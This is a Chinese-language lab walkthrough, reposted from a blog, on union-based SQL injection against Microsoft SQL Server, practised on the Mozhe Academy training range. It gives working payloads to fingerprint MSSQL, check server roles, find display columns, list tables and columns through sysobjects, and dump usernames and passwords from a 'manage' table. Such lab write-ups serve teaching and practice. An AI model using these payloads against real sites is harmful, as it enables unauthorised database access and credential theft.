當(dāng)前位置:首頁 > IT技術(shù) > 數(shù)據(jù)庫 > 正文

Mssql聯(lián)合查詢注入
2021-09-08 11:50:58

mssql數(shù)據(jù)庫相關(guān)介紹:

mssql數(shù)據(jù)庫:

mssql數(shù)據(jù)庫是一款微軟推出的數(shù)據(jù)庫

?

判斷是否為mssql數(shù)據(jù)庫:

and exists(select * from sysobjects)--

exists是一個(gè)是否存在的判斷? ??

sysobjects是mssql數(shù)據(jù)庫自帶的一張表

?

mssql數(shù)據(jù)庫權(quán)限:

sa權(quán)限:數(shù)據(jù)庫操作,?件管理,命令執(zhí)?,注冊(cè)表讀取等 system

db權(quán)限:?件管理,數(shù)據(jù)庫操作等 users-adminstrators

public權(quán)限:數(shù)據(jù)庫操作 guest-users

?

mssql數(shù)據(jù)庫判斷權(quán)限的語句:

and 1=(select is_srvrolemember('sysadmin')) //判斷是否是系統(tǒng)管理員

and 1=(select is_srvrolemember('db_owner'))//判斷是否是庫權(quán)限

and 1=(select is_srvrolemember('public')) //判斷是否為public權(quán)限

?

調(diào)用數(shù)據(jù)庫的語句:

<% set conn =server.createobject("adodb.connection") conn.open "provider=sqloledb;source=local;uid=sa;pwd=******;database=database-name" %>

provider是數(shù)據(jù)庫引擎 ;uid是權(quán)限

?

在線靶場(chǎng):

?

靶場(chǎng)使用墨者學(xué)院在線靶場(chǎng)

?

?

?

?

?啟動(dòng)靶場(chǎng)后,就會(huì)有對(duì)應(yīng)的ip地址和端口,訪問后即可進(jìn)行練習(xí)

?

?

?

?進(jìn)入靶場(chǎng)后使用檢查模式,進(jìn)入max hackbar

添加url地址,加上mssql數(shù)據(jù)庫的判斷語句,刷新

如果頁面返回正常,說明使用的是mssql數(shù)據(jù)庫

?

尋找字符顯位

代碼:id=-2 union all select null,null,null,null

每個(gè)null都是一個(gè)顯位,通過依次改變null的值,來看該顯位是否可以用

id=-2 與id=2需要做測(cè)試,出現(xiàn)下圖界面時(shí),為所需要的值

?

?

?

?將第一個(gè)顯位的值改變

?

?

?

?刷新后發(fā)現(xiàn),沒由變化,該顯位不可用

?

將第二個(gè)顯位的值改變

?

?

?此時(shí)發(fā)現(xiàn)有了變化,證明該顯位可以用

依次測(cè)試3,4顯位,發(fā)現(xiàn)第3 顯位也可以用

?

?

?測(cè)試顯位時(shí),給測(cè)試符加上單引號(hào),不容易報(bào)錯(cuò)

?

測(cè)試出顯位后,就可以利用顯位,做一下查詢

?

查詢基本信息

1.@@version- 獲取版本信息;

2.db_name() -數(shù)據(jù)庫名字

3.user,system_user,current_user,user_name – 獲取當(dāng)前?戶名

4.@@SERVERNAME – 獲取有關(guān)服務(wù)器主機(jī)的信息。

?

利用顯位查看版本信息和數(shù)據(jù)庫名字

?

?

?

?

查詢表名

利用第二個(gè)顯位查詢表名

id=-2 union all select 1,(select top 1 name from mozhe_db_v2.dbo.sysobjects where xtype='u'),null,null

xtype='u'是手工創(chuàng)建的數(shù)據(jù)庫,不是系統(tǒng)自帶的

mozhe_db_v2是數(shù)據(jù)庫名

?

?

?

查詢出第一個(gè)表表名為manage

?

?

在代碼中加入and name not in ('manage') 除去第一個(gè)表,來查詢第二個(gè)表表名

id=-2 union all select null,(select top 1 name from mozhe_db_v2.dbo.sysobjects where xtype='u' and name not in ('manage')),null,null

?

?

?

以此類推在?not in ('manage')里加入第二個(gè)表名可以查出第三個(gè)表not in ('manage','announcement')

依次可以繼續(xù)查詢,直到查詢到自己所需要的表

本次實(shí)驗(yàn)需要查詢用戶信息,所以使用manage表就可以

?

獲取manage表列名

id=-2 union all select null,(select top 1 col_name(object_id('manage'),1) from sysobjects),null,null

也是利用第二顯位來做查詢

紅色的1代表查詢第一列,假設(shè)要查詢第二列更改為2即可

依次查詢后,發(fā)現(xiàn)第二列第三列為username 和 password

?

?

?

查詢用戶名和密碼

id=-2 union all select null,username, password ,null from manage

利用第二顯位和第三顯位查詢username 和password兩列的信息

?

?

?

?

?

?

?整一個(gè)sql注入完成,成功拿到用戶名和密碼

本文摘自 :https://www.cnblogs.com/

開通會(huì)員,享受整站包年服務(wù)立即開通 >